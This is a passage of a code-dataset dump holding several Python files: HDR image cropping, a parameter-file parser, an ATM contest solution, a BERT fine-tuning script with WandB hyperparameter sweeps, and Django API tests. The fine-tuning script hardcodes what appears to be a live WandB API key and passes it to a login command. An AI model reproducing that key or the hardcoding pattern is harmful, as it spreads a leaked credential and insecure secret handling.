np.random.normal(loc=CROP_DISTRIB_MU, scale=CROP_DISTRIB_SIGMA)\n        center_point = np.array([c1, c2])  # camera center point (valid range [0,2])\n        center_row, center_col = crop_center2row_col(center_point)\n        crop_theta, crop_phi = row_col2theta_phi(center_row, center_col, WIDTH, HEIGHT)\n        partial_hdr = nfov.toNFOV(hdr_data, center_point, True).astype('float32')\n        partial_segmap = nfov.toNFOV(segmap, center_point, False)\n        # cropped_hdr.append(partial_hdr)\n        cropped_segmap.append(partial_segmap)\n        print(np.min(cropped_segmap, axis=(0,1)))\n        # print(cropped_segmap[-1].shape)\n        ldrDurand = tonemap_drago.process(partial_hdr)\n        partial_ldr = np.clip(ldrDurand*255, 0, 255).astype('uint8')\n        converted_ldr.append(partial_ldr)\n    for i in range(count):\n        ldr_img_name = ldr_imgs + name + \"_partial_{}.jpg\".format(i)\n        seg_label_name = seg_labels + name + \"_partial_{}_segmap.jpg\".format(i)\n        plt.imsave(ldr_img_name, converted_ldr[i])\n        plt.imsave(seg_label_name, cropped_segmap[i])\n\n\nif __name__ == '__main__':\n    # createDataset()\n    processHDR(name=\"9C4A1707-0f4b3a9a59\")","repo_name":"WinterCyan/Gardner2019","sub_path":"DataPreprocess/CreateSegDataset.py","file_name":"CreateSegDataset.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"16"}
+{"seq_id":"22575704143","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport sys\n\ninputFileName = ''\ndelimiter = ','\nhasHeader = False\ntokenizerType = ''\ntokenizedFileName = ''\nremoveDuplicateTokens = False\nrunReplacement = False\nmatrixNumTokenRule = False\nmatrixInitialRule = False\nmu = 0.50\nmuIterate = 0.10\nepsilon = 0.50\nepsilonIterate = 0.00\ncomparator = ''\nbeta = 0\nminBlkTokenLen = 0\nexcludeNumericBlocks = False\nremoveExcludedBlkTokens = False\nsigma = 0\nfatalError = False\ntruthFileName = ''\n\n\ndef convertToBoolean(lineNbr, value):\n    if value == 'True':\n        return True\n    if value == 'False':\n        return False\n    print('**Error: Invalid Boolean value in Parameter File, line:', lineNbr, '->', value)\n    global fatalError\n    fatalError = True\n\n\ndef convertToFloat(lineNbr, value):\n    try:\n        floatValue = float(value)\n    except ValueError:\n        print('**Error: Invalid floating point value in Parameter File, line:', lineNbr, '->', value)\n        global fatalError\n        fatalError = True\n    else:\n        return floatValue\n\n\ndef convertToInteger(lineNbr, value):\n    if value.isdigit():\n        return int(value)\n    else:\n        print('**Error: Invalid integer value in Parameter File, line:', lineNbr, '->', value)\n        global fatalError\n        fatalError = True\n\n\ndef getParms(parmFileName):\n    global fatalError\n    validParmNames = ['inputFileName', 'delimiter', 'hasHeader', 'tokenizerType', 'removeDuplicateTokens',\n                      'runReplacement', 'minFreqStdToken', 'minLenStdToken', 'maxFreqErrToken',\n                      'mu', 'muIterate', 'beta', 'minBlkTokenLen', 'sigma', 'epsilon', 'epsilonIterate',\n                      'excludeNumericBlocks', 'removeExcludedBlkTokens', 'runClusterMetrics',\n                      'createFinalJoin', 'comparator', 'truthFileName', 'matrixNumTokenRule', 'matrixInitialRule']\n    parmFile = open(parmFileName, 'r')\n    parms = {}\n    lineNbr = 0\n    while True:\n        line = (parmFile.readline()).strip()\n        lineNbr += 1\n        if line == '':\n            break\n        # Skip comment lines in parameter file\n        if line.startswith('#'):\n            continue\n        part = line.split('=')\n        parmName = part[0].strip()\n        if parmName not in validParmNames:\n            print('**Error: Invalid Parameter Name in Parameter File, line:', lineNbr, '->', parmName)\n            fatalError = True\n        parmValue = part[1].strip()\n        if parmName == 'inputFileName':\n            global inputFileName\n            inputFileName = parmValue\n            continue\n        if parmName == 'delimiter':\n            global delimiter\n            if ',;:|\\t'.find(parmValue) >= 0:\n                delimiter = parmValue\n                continue\n            else:\n                print('**Error: Invalid delimiter in Parameter File, line:', lineNbr, '->', parmName)\n                sys.exit()\n        if parmName == 'hasHeader':\n            global hasHeader\n            hasHeader = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'tokenizerType':\n            global tokenizerType\n            tokenizerType = parmValue\n            continue\n        if parmName == 'removeDuplicateTokens':\n            global removeDuplicateTokens\n            removeDuplicateTokens = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'runReplacement':\n            global runReplacement\n            runReplacement = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'minFreqStdToken':\n            global minFreqStdToken\n            minFreqStdToken = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'minLenStdToken':\n            global minLenStdToken\n            minLenStdToken = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'maxFreqErrToken':\n            global maxFreqErrToken\n            maxFreqErrToken = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'matrixNumTokenRule':\n            global matrixNumTokenRule\n            matrixNumTokenRule = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'matrixInitialRule':\n            global matrixInitialRule\n            matrixInitialRule = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'mu':\n            global mu\n            mu = convertToFloat(lineNbr, parmValue)\n            continue\n        if parmName == 'muIterate':\n            global muIterate\n            muIterate = convertToFloat(lineNbr, parmValue)\n            continue\n        if parmName == 'epsilon':\n            global epsilon\n            epsilon = convertToFloat(lineNbr, parmValue)\n            continue\n        if parmName == 'epsilonIterate':\n            global epsilonIterate\n            epsilonIterate = convertToFloat(lineNbr, parmValue)\n            continue\n        if parmName == 'comparator':\n            global comparator\n            comparator = parmValue\n            continue\n        if parmName == 'beta':\n            global beta\n            beta = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'minBlkTokenLen':\n            global minBlkTokenLen\n            minBlkTokenLen = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'excludeNumericBlocks':\n            global excludeNumericBlocks\n            excludeNumericBlocks = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'removeExcludedBlkTokens':\n            global removeExcludedBlkTokens\n            removeExcludedBlkTokens = convertToBoolean(lineNbr, parmValue)\n            continue\n        if parmName == 'sigma':\n            global sigma\n            sigma = convertToInteger(lineNbr, parmValue)\n            continue\n        if parmName == 'truthFileName':\n            global truthFileName\n            truthFileName = parmValue\n            continue\n            # End of loop, cross checks\n    if beta < 2:\n        print('**Error: beta value ', beta, ' must be larger than 2')\n        fatalError = True\n    if sigma <= beta:\n        print('**Error: sigma value ', sigma, ' must be larger than beta value ', beta)\n        fatalError = True\n    if mu <= 0.0 or mu > 1.00:\n        print('**Error: mu value ', mu, ' must be in interval (0.00,1.00]')\n        fatalError = True\n    if fatalError:\n        sys.exit()\n","repo_name":"Adeeba23/CensusBureauNameAddress","sub_path":"Household Graph/oysterer-dwm-graph-8711cd315cf3/GDWM18/DWM10_Parms.py","file_name":"DWM10_Parms.py","file_ext":"py","file_size_in_byte":6422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"3981953300","text":"def ATMAndStudents(students, money):\n    length = len(students)\n    maxx = 0\n    res = [-1]\n    count = money\n    i = 0\n    j = 0\n    while j < length and i < length:\n        count += students[j]\n        if count >= 0 and maxx < (j - i + 1):\n            maxx = j - i + 1\n            res = [i + 1, j + 1]\n        if count < 0:\n            count -= students[i]\n            i += 1\n        if count >= 0:\n            j += 1\n        else:\n            count -= students[j]\n    return res\n\ntests = int(input())\nans = []\nfor _ in range(tests):\n    a, b = list(map(int, input().split()))\n    students = list(map(int, input().split()))\n    ans.append(ATMAndStudents(students, b))\nfor a in ans:\n    print(*a)","repo_name":"nattigy/competitive_programming","sub_path":"div3 contest-1/F. ATM and Students.py","file_name":"F. ATM and Students.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11521011860","text":"###################################################################################################\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 23 22:05:51 2020\r\n\r\n@author: Srikanth Thirumalasetti (Roll #2019900090)\r\n\"\"\"\r\n\r\n\"\"\" This file is part of Main project on 'Learning representations in Financial domain' \"\"\"\r\n\r\n\"\"\" It evaluates a finetuned BERT model (base-uncased) on binary classification task. \"\"\"\r\n\r\n\"\"\" The script uses SimpleTransformers's ClassificationModel for finetuning.  \"\"\"\r\n\r\n\"\"\" We use wandb to optimize our hyper params (learning rate and # of epochs) using \"accuracy\" as the key metric\r\n    to evaluate the performance and store the best model.\"\"\"\r\n\r\n\"\"\" The model is:\r\n     1. first trained on the train set (self.trainDataFrame), \r\n     2. next, the wandb sweep is evaluated on the validation set (self.evalDataFrame)\r\n     \r\n     The best model as measured by the maximum accuracy corresponding to the hyper parameter values is saved to folder: self.bestModelOutputDir.\r\n\"\"\"\r\n###################################################################################################\r\nimport glob\r\nimport json\r\nimport logging as log\r\nimport math\r\nimport multiprocessing\r\nimport os\r\nimport pandas\r\nimport re\r\nimport sklearn\r\nimport subprocess\r\nimport sys\r\nimport threading\r\nimport time\r\nimport torch\r\nimport traceback\r\nimport wandb\r\nfrom collections import defaultdict, OrderedDict\r\nfrom filterSourceFilesForTraining import filterAndCopyCorpusFilesUsedToTrainBertOnMLM as filterCorpus\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom preprocess import preprocess_seq # make sure that the pre-process.py file is in the parent folder, else, the script errors out\r\nfrom simpletransformers.classification import (ClassificationModel, ClassificationArgs)\r\n\r\n# This variable is used as header for the train and validation dataframes\r\nglobal HEADER_COLS\r\nHEADER_COLS = [\"tweet\", \"relation\"]\r\n\r\n# This variable is the WandB API key that is used to log training and eval params in real-time to WandB server\r\nglobal WAND_API_KEY, WAND_PROJECT_NAME\r\nWAND_API_KEY = \"01b06361bbf14e2d29e535b7ae84a9f3716365a4\"\r\nWAND_PROJECT_NAME = \"bert-base-finetune-mlm-sec-data-binary-cls\"\r\n\r\n\r\n############################################################################\r\n# This class evaluates a finetuned BERT model on binary classification task.\r\n############################################################################\r\nclass EvalLanguageModelOnBinCls:\r\n    def __init__(self, modelNameOrPath, trainFile, evalFile, maxSeqLen, wandb_sweep_config, wandb_sweep_defaults, logLevel):\r\n        log.debug(\"Initializing 'EvalLanguageModelOnBinCls' class instance..\")\r\n        self.modelType = \"bert\"\r\n        self.modelNameOrPath = modelNameOrPath\r\n        self.trainFile = trainFile\r\n        self.evalFile = evalFile\r\n        self.trainDataFrame = None\r\n        self.evalDataFrame = None\r\n        self.maxSeqLength = maxSeqLen\r\n        self.wandbConfig = wandb_sweep_config\r\n        self.wandbDefaults = wandb_sweep_defaults\r\n        self.modelOutputDir = os.path.join(os.path.split(trainFile)[0], \"finetuned_model_on_bin_cls\")\r\n        self.bestModelOutputDir = os.path.join(self.modelOutputDir, \"best_model\")\r\n        self.modelCacheDir = os.path.join(self.modelOutputDir, \"cache\")\r\n        self.modelFinalEvalResultsFile = os.path.join(self.modelOutputDir, \"model.eval.results\")\r\n        self.modelFinalEvalOutputs = os.path.join(self.modelOutputDir, \"model.eval.outputs\")\r\n        self.modelFinalWrongPreds = os.path.join(self.modelOutputDir, \"model.predictions.wrong.results\")\r\n        self.lock = threading.Lock()\r\n        setLogLevel(logLevel)\r\n\r\n    def __preprocessSequenceWithoutBreakingSentence(self, sequence):\r\n        ##############################################################################################\r\n        # This method ensures that if multiple sentences are passed for pre-processing, the sequence\r\n        # is pre-processed as individual sentence.\r\n        #############################################################################################\r\n        try:\r\n            seqsPP = []\r\n            sequences = sent_tokenize(sequence)\r\n            if sequences:\r\n                for seq in sequences:\r\n                    seqsPP.append(preprocess_seq(seq))\r\n            if seqsPP:\r\n                return \".\".join(seqsPP).strip()\r\n            else:\r\n                return sequence\r\n        except:\r\n            exc_type, exc_value, exc_traceback = sys.exc_info()\r\n            err = f\"Error occurred while pre-processing the sequence '{sequence}'. Error is: {str(exc_type)}; {str(exc_value)}.\"\r\n            log.error(err)\r\n            return sequence\r\n\r\n    def __buildTrainingAndEvalDataFrames(self):\r\n        ##############################################################################################\r\n        # This method builds training and eval dataframes from the given input training and dev files.\r\n        #############################################################################################\r\n        try:\r\n            tweetsDictTrain = {}\r\n            tweetsDictEval = {}\r\n            with open(self.trainFile, \"r\", encoding=\"utf-8\") as fR:\r\n                tweetsDictTrain = json.load(fR)\r\n            log.debug(f\"Finished building training file.\")\r\n            with open(self.evalFile, \"r\", encoding=\"utf-8\") as fD:\r\n                tweetsDictEval = json.load(fD)\r\n            log.debug(f\"Finished building eval file.\")\r\n\r\n            # Columns are: 'tweet', 'target_num', 'offset', 'target_cashtag' and 'relation'\r\n            # Our classification task is: Given a tweet, tell whether the relation is 0 or 1\r\n            if tweetsDictTrain:\r\n                log.debug(f\"Started generating pandas dataframe for training..\")\r\n                df = pandas.DataFrame.from_dict(tweetsDictTrain)\r\n                self.trainDataFrame = df.iloc[0:len(df.index), [0,4]]\r\n                self.trainDataFrame.columns = HEADER_COLS\r\n                self.trainDataFrame[HEADER_COLS[0]] = self.trainDataFrame[HEADER_COLS[0]].map(lambda sent: self.__preprocessSequenceWithoutBreakingSentence(sent))\r\n\r\n            if tweetsDictEval:\r\n                log.debug(f\"Started generating pandas dataframe for evaluation..\")\r\n                df = pandas.DataFrame.from_dict(tweetsDictEval)\r\n                self.evalDataFrame = df.iloc[0:len(df.index), [0,4]]\r\n                self.evalDataFrame.columns = HEADER_COLS\r\n                self.evalDataFrame[HEADER_COLS[0]] = self.evalDataFrame[HEADER_COLS[0]].map(lambda sent: self.__preprocessSequenceWithoutBreakingSentence(sent))\r\n        except:\r\n            exc_type, exc_value, exc_traceback = sys.exc_info()\r\n            err = f\"Error occurred while building training and eval dataframes. Error is: {str(exc_type)}; {str(exc_value)}.\"\r\n            raise Exception(err)\r\n\r\n    def finetuneBertOnBinClsTask(self):\r\n        ###############################################################################\r\n        # This method evaluates the finetuned BERT model on binary classification task.\r\n        ###############################################################################\r\n        try:\r\n            # Build training and eval dataframes\r\n            self.__buildTrainingAndEvalDataFrames()\r\n\r\n            # Check to make sure that training and eval data frames are built\r\n            if self.trainDataFrame is None or self.evalDataFrame is None:\r\n                log.error(f\"Error building training and eval dataframes. Cannot evaluate the finetuned model on binary classification task.\")\r\n                return\r\n\r\n            # Check if CUDA is available for doing training on a GPU system\r\n            if torch.cuda.is_available() is False:\r\n                log.warning(f\"CUDA libs not found. It is prefered to do finetuning on on a GPU system with CUDA libs!\")\r\n\r\n            # Build WandB sweep params that are used to automatically pick up the hyper-params during training\r\n            subprocess.run([\"wandb\", \"login\", WAND_API_KEY])\r\n            time.sleep(1)\r\n            sweep_defaults = self.wandbDefaults\r\n            sweep_id = wandb.sweep(self.wandbConfig, project=WAND_PROJECT_NAME)\r\n\r\n            # Start training\r\n            startTime = time.time()\r\n            def train():\r\n                wandb.init(WAND_PROJECT_NAME)\r\n                modelArgs = { \"max_seq_length\": self.maxSeqLength, \"output_dir\": self.modelOutputDir, \"overwrite_output_dir\": True, \"best_model_dir\": self.bestModelOutputDir,\r\n                              \"wandb_project\": WAND_PROJECT_NAME, \"num_training_epochs\": wandb.config.epochs, \"learning_rate\": wandb.config.learning_rate,\r\n                              \"do_lower_case\": True, \"cache_dir\": self.modelCacheDir, \"encoding\": \"utf-8\", \"train_batch_size\": 5, \"eval_batch_size\": 5,\r\n                              \"evaluate_during_training_steps\": 50, \"evaluate_during_training_verbose\": True, \"logging_steps\": 5, \"sliding_window\": True,\r\n                              \"reprocess_input_data\": True, \"evaluate_during_training\": True, \"use_multiprocessing\": True }\r\n\r\n                model = ClassificationModel(self.modelType, self.modelNameOrPath, args=modelArgs, sweep_config=wandb.config, use_cuda=torch.cuda.is_available(),)\r\n\r\n                # Training and evaluation\r\n                try:\r\n                    log.info(f\"Started training/finetuning BERT on binary classification task..\")\r\n                    model.train_model(train_df=self.trainDataFrame, eval_df=self.evalDataFrame, show_running_loss=True,\r\n                                      output_dir=self.modelOutputDir,\r\n                                      mcc=sklearn.metrics.matthews_corrcoef,\r\n                                      f1=sklearn.metrics.f1_score,\r\n                                      acc=sklearn.metrics.accuracy_score,\r\n                                      recall_score=sklearn.metrics.recall_score, )\r\n                    log.info(f\"Finished finetuning and evaluating our fine-tuned model on binary classification task. Check the folder '{self.modelOutputDir}' for finetuned weights.\")\r\n                    log.info(f\"It took {round((time.time() - startTime) / 3600, 1)} hours to finetune and evaluate ou fine-tuned model on binary classification task.\")\r\n                except:\r\n                    exc_type, exc_value, exc_traceback = sys.exc_info()\r\n                    err = f\"Error occurred while training and evaluating the finetuned model on binary classification task. Error is: {exc_type}; {exc_value}.\"\r\n                    log.error(err)\r\n\r\n                wandb.join()\r\n\r\n            wandb.agent(sweep_id, function=train)\r\n        except:\r\n            exc_type, exc_value, exc_traceback = sys.exc_info()\r\n            err = f\"** ERROR ** occurred while finetuning a pre-trained BERT model and evaluating it on binary classification task. Error is: {exc_type}; {exc_value}.\"\r\n            log.error(err)\r\n\r\n\r\ndef setLogLevel(level):\r\n    ##########################################################\r\n    # This method sets the log level for the default logger.\r\n    ##########################################################\r\n    # Set log level, if set by the user\r\n    # E for Error, D for Debug and I for Info\r\n    if level == \"I\":\r\n        log.basicConfig(level=log.INFO)\r\n    elif level == \"D\":\r\n        log.basicConfig(level=log.DEBUG)\r\n    else:\r\n        level = \"E\"\r\n        log.basicConfig(level=log.ERROR)  # default to Error\r\n    print(f\"Setting log level to {level}\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    print(\"Total # of arguments passed to main() is {0}\".format(len(sys.argv)))\r\n    if len(sys.argv) < 3:\r\n        print(\"** ERROR ** 1) Finetuned model directory, 2) Training file, and 3) Dev file are required!\")\r\n        print(\"Usage:\\n\\t<this script> <Finetuned model directory> <Training file with path> <Dev file with path> <log level (E/D/I)>\")\r\n    else:\r\n        # Get finetuned model folder as given by the user in the command line\r\n        _finetunedModelFolder = sys.argv[1] # set this variable to value: \"bert-base-uncased\" to evaluate using Huggingface's pre-trained BERT embeddings\r\n        if os.path.exists(_finetunedModelFolder) is False:\r\n            print(f\"** ERROR ** Finetuned model folder '{_finetunedModelFolder}' DOES NOT exist!\")\r\n            print(\"Usage:\\n\\t<this script> <Finetuned model directory> <Training file with path> <Dev file with path> <log level (E/D/I)>\")\r\n        else:\r\n            # Convert the path to absolute path\r\n            _finetunedModelFolder = os.path.abspath(_finetunedModelFolder)\r\n\r\n            # Get the training and dev files\r\n            _trainFile = sys.argv[2]\r\n            _trainFile = os.path.abspath(_trainFile)\r\n            _devFile = sys.argv[3]\r\n            _devFile = os.path.abspath(_devFile)\r\n\r\n            # Get log level set by the user in the command line\r\n            _logLevel = \"E\"  # default to log.ERROR\r\n            if len(sys.argv) == 5:\r\n                _logLevel = sys.argv[4]  # over default log level as set by the user\r\n            setLogLevel(_logLevel)\r\n\r\n            # Evaluate the finetuned model on binary classification task\r\n            try:\r\n                # Start finetuning with different hyper-parameters\r\n                _maxSeqLen = 192 # setting to same sequence value that was used for finetuning the model on MLM objective\r\n                _learningRates = [5e-5, 2e-5, 1e-5]  # set three diff LRs\r\n                _epochs = [3, 5, 10]  # set total epochs that we'd like to run\r\n                _wandb_sweep_defaults = {'learning_rate': _learningRates[0], 'epochs': _epochs[0]} # set some default values\r\n                _wandb_sweep_config = {'method': 'grid', \"metric\": {\"name\": \"mcc\", \"goal\": \"maximize\"},\r\n                                       'parameters': {'learning_rate': {'values': _learningRates}, 'epochs': {'values': _epochs}},\r\n                                       \"early_terminate\": {\"type\": \"hyperband\", \"min_iter\": 5, },}\r\n\r\n                # Initialize training class and start training\r\n                cls = EvalLanguageModelOnBinCls(_finetunedModelFolder, _trainFile, _devFile, _maxSeqLen, _wandb_sweep_config, _wandb_sweep_defaults, _logLevel)\r\n                cls.finetuneBertOnBinClsTask()\r\n                cls = None\r\n            except:\r\n                exc_type, exc_value, exc_traceback = sys.exc_info()\r\n                err = f\"\\n\\t {exc_type}; {exc_value}\"\r\n                log.error(err)\r\n","repo_name":"Madhvi19/Representations-in-Financial-Domain","sub_path":"BERT/evalOnBinaryClassificationTask.py","file_name":"evalOnBinaryClassificationTask.py","file_ext":"py","file_size_in_byte":14474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9260115186","text":"import json\nfrom unittest.mock import patch\n\nimport pytest\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Permission\nfrom model_bakery import baker\nfrom rest_framework import status\n\nfrom sme_ptrf_apps.core.choices import RepresentacaoCargo\nfrom sme_ptrf_apps.users.models import Grupo\n\npytestmark = pytest.mark.django_db\n\n\n@pytest.fixture\ndef unidade_diferente(dre):\n    return baker.make(\n        'Unidade',\n        nome='Escola Unidade Diferente',\n        tipo_unidade='EMEI',\n        codigo_eol='123459',\n        dre=dre,\n        sigla='ET2',\n        cep='5868120',\n        tipo_logradouro='Travessa',\n        logradouro='dos Testes',\n        bairro='COHAB INSTITUTO ADVENTISTA',\n        numero='100',\n        complemento='fundos',\n        telefone='99212627',\n        email='emeijopfilho@sme.prefeitura.sp.gov.br',\n        diretor_nome='Amaro Pedro',\n        dre_cnpj='63.058.286/0001-86',\n        dre_diretor_regional_rf='1234567',\n        dre_diretor_regional_nome='Anthony Edward Stark',\n        dre_designacao_portaria='Portaria nº 0.000',\n        dre_designacao_ano='2017',\n    )\n\n\n@pytest.fixture\ndef visao_ue():\n    return baker.make('Visao', nome='UE')\n\n\n@pytest.fixture\ndef visao_dre():\n    return baker.make('Visao', nome='DRE')\n\n\n@pytest.fixture\ndef visao_sme():\n    return baker.make('Visao', nome='SME')\n\n\n@pytest.fixture\ndef permissao1():\n    return Permission.objects.filter(codename='view_tipodevolucaoaotesouro').first()\n\n\n@pytest.fixture\ndef permissao2():\n    return Permission.objects.filter(codename='view_unidade').first()\n\n\n@pytest.fixture\ndef grupo_1(permissao1, visao_ue):\n    g = Grupo.objects.create(name=\"grupo1\")\n    g.permissions.add(permissao1)\n    g.visoes.add(visao_ue)\n    g.descricao = \"Descrição grupo 1\"\n    g.save()\n    return g\n\n\n@pytest.fixture\ndef grupo_2(permissao2, visao_dre):\n    g = Grupo.objects.create(name=\"grupo2\")\n    g.permissions.add(permissao2)\n    g.visoes.add(visao_dre)\n    g.descricao = \"Descrição grupo 2\"\n    g.save()\n    return g\n\n\n@pytest.fixture\ndef grupo_3(permissao1, permissao2, visao_dre, visao_sme):\n    g = Grupo.objects.create(name=\"grupo3\")\n    g.permissions.add(permissao1, permissao2)\n    g.visoes.add(visao_dre, visao_sme)\n    g.descricao = \"Descrição grupo 3\"\n    g.save()\n    return g\n\n\n@pytest.fixture\ndef usuario_para_teste(\n        unidade,\n        grupo_1,\n        visao_ue):\n\n    senha = 'Sgp0418'\n    login = '7210418'\n    email = 'sme@amcom.com.br'\n    User = get_user_model()\n    user = User.objects.create_user(username=login, password=senha, email=email)\n    user.unidades.add(unidade)\n    user.groups.add(grupo_1)\n    user.visoes.add(visao_ue)\n    user.save()\n    return user\n\n\n@pytest.fixture\ndef jwt_authenticated_client_u(client, usuario_para_teste):\n    from unittest.mock import patch\n\n    from rest_framework.test import APIClient\n    api_client = APIClient()\n    with patch('sme_ptrf_apps.users.api.views.login.AutenticacaoService.autentica') as mock_post:\n        data = {\n            \"nome\": \"LUCIA HELENA\",\n            \"cpf\": \"62085077072\",\n            \"email\": \"luh@gmail.com\",\n            \"login\": \"7210418\"\n        }\n        mock_post.return_value.ok = True\n        mock_post.return_value.status_code = 200\n        mock_post.return_value.json.return_value = data\n        resp = api_client.post('/api/login', {'login': usuario_para_teste.username,\n                                              'senha': usuario_para_teste.password}, format='json')\n        resp_data = resp.json()\n        api_client.credentials(HTTP_AUTHORIZATION='JWT {0}'.format(resp_data['token']))\n    return api_client\n\n\n@pytest.fixture\ndef usuario_2(\n        unidade_diferente,\n        grupo_2,\n        grupo_3,\n        visao_dre,\n        visao_sme):\n\n    senha = 'Sgp1981'\n    login = '7211981'\n    email = 'sme1981@amcom.com.br'\n    User = get_user_model()\n    user = User.objects.create_user(username=login, password=senha, email=email)\n    user.unidades.add(unidade_diferente)\n    user.groups.add(grupo_2, grupo_3)\n    user.visoes.add(visao_dre, visao_sme)\n    user.save()\n    return user\n\n\n@pytest.fixture\ndef usuario_3(\n        unidade,\n        grupo_2,\n        visao_dre,\n        visao_ue):\n\n    senha = 'Sgp8198'\n    login = '7218198'\n    email = 'sme8198@amcom.com.br'\n    User = get_user_model()\n    user = User.objects.create_user(username=login, password=senha, email=email, name=\"Arthur Marques\")\n    user.unidades.add(unidade)\n    user.groups.add(grupo_2)\n    user.visoes.add(visao_dre, visao_ue)\n    user.save()\n    return user\n\n\n@pytest.fixture\ndef jwt_authenticated_client_u2(client, usuario_2):\n    from unittest.mock import patch\n\n    from rest_framework.test import APIClient\n    api_client = APIClient()\n    with patch('sme_ptrf_apps.users.api.views.login.AutenticacaoService.autentica') as mock_post:\n        data = {\n            \"nome\": \"LUCIA HELENA\",\n            \"cpf\": \"62085077072\",\n            \"email\": \"luh@gmail.com\",\n            \"login\": usuario_2.username\n        }\n        mock_post.return_value.ok = True\n        mock_post.return_value.status_code = 200\n        mock_post.return_value.json.return_value = data\n        resp = api_client.post('/api/login', {'login': usuario_2.username,\n                                              'senha': usuario_2.password}, format='json')\n        resp_data = resp.json()\n        api_client.credentials(HTTP_AUTHORIZATION='JWT {0}'.format(resp_data['token']))\n    return api_client\n\n\ndef test_consulta_grupos(\n        jwt_authenticated_client_u2,\n        usuario_2,\n        visao_ue,\n        visao_dre,\n        visao_sme,\n        permissao1,\n        permissao2,\n        grupo_1,\n        grupo_2,\n        grupo_3):\n\n    response = jwt_authenticated_client_u2.get(\"/api/usuarios/grupos/?visao=DRE\", content_type='application/json')\n    result = response.json()\n    esperado = [\n        {\n            \"id\": str(grupo_2.id),\n            \"nome\": grupo_2.name,\n            \"descricao\": grupo_2.descricao\n        },\n        {\n            \"id\": str(grupo_3.id),\n            \"nome\": grupo_3.name,\n            \"descricao\": grupo_3.descricao\n        }]\n\n    assert result == esperado\n\n\ndef test_lista_usuarios(\n        jwt_authenticated_client_u,\n        usuario_para_teste,\n        usuario_3,\n        visao_ue,\n        visao_dre,\n        visao_sme,\n        permissao1,\n        permissao2,\n        grupo_1,\n        grupo_2):\n\n    response = jwt_authenticated_client_u.get(\"/api/usuarios/?visao=DRE\", content_type='application/json')\n    result = response.json()\n    esperado = [\n        {\n            'id': usuario_3.id,\n            'username': usuario_3.username,\n            'email': usuario_3.email,\n            'name': usuario_3.name,\n            'url': f'http://testserver/api/esqueci-minha-senha/{usuario_3.username}/',\n            'tipo_usuario': usuario_3.tipo_usuario,\n            'groups': [{'id': grupo_2.id, 'name': grupo_2.name, 'descricao': grupo_2.descricao}]\n        }\n    ]\n    assert result == esperado\n\n\ndef test_filtro_por_grupo_lista_usuarios(\n        jwt_authenticated_client_u2,\n        usuario_2,\n        usuario_3,\n        visao_ue,\n        visao_dre,\n        visao_sme,\n        permissao1,\n        permissao2,\n        grupo_1,\n        grupo_2):\n\n    response = jwt_authenticated_client_u2.get(\n        f\"/api/usuarios/?visao=DRE&groups__id={grupo_2.id}\", content_type='application/json')\n    result = response.json()\n    esperado = [\n        {\n            'id': usuario_3.id,\n            'username': '7218198',\n            'email': 'sme8198@amcom.com.br',\n            'name': 'Arthur Marques',\n            'url': 'http://testserver/api/esqueci-minha-senha/7218198/',\n            'tipo_usuario': usuario_3.tipo_usuario,\n            'groups': [\n                {\n                   'id': grupo_2.id,\n                   'name': 'grupo2',\n                   'descricao': 'Descrição grupo 2'\n                }\n            ]\n        }\n    ]\n    assert result == esperado\n\n\ndef test_filtro_por_nome_lista_usuarios(\n        jwt_authenticated_client_u2,\n        usuario_2,\n        usuario_3,\n        visao_ue,\n        visao_dre,\n        visao_sme,\n        permissao1,\n        permissao2,\n        grupo_1,\n        grupo_2):\n\n    response = jwt_authenticated_client_u2.get(f\"/api/usuarios/?visao=DRE&search=Arth\", content_type='application/json')\n    result = response.json()\n    esperado = [\n        {'id': usuario_3.id,\n         'username': '7218198',\n         'email': 'sme8198@amcom.com.br',\n         'name': 'Arthur Marques',\n         'url': 'http://testserver/api/esqueci-minha-senha/7218198/',\n         'tipo_usuario': usuario_3.tipo_usuario,\n         'groups': [\n             {\n                'id': grupo_2.id,\n                'name': 'grupo2',\n                'descricao': 'Descrição grupo 2'}]\n         }\n    ]\n    assert result == esperado\n\n\ndef test_criar_usuario_servidor(\n        jwt_authenticated_client_u,\n        grupo_1,\n        grupo_2,\n        visao_dre):\n\n    payload = {\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'username': \"9876543\",\n        'name': \"Lukaku Silva\",\n        'email': 'lukaku@gmail.com',\n        'visao': \"DRE\",\n        'groups': [\n            grupo_1.id,\n            grupo_2.id\n        ]\n    }\n    response = jwt_authenticated_client_u.post(\n        \"/api/usuarios/\", data=json.dumps(payload), content_type='application/json')\n    result = response.json()\n\n    esperado = {\n        'username': '9876543',\n        'email': 'lukaku@gmail.com',\n        'name': 'Lukaku Silva',\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'groups': [grupo_1.id, grupo_2.id]\n    }\n    User = get_user_model()\n    u = User.objects.filter(username='9876543').first()\n\n    assert len(u.visoes.all()) > 0\n    assert response.status_code == status.HTTP_201_CREATED\n    assert result == esperado\n\n\ndef test_criar_usuario_servidor_sem_email_e_sem_nome(\n        jwt_authenticated_client_u,\n        grupo_1,\n        grupo_2,\n        visao_dre):\n\n    payload = {\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'username': \"9876543\",\n        'name': 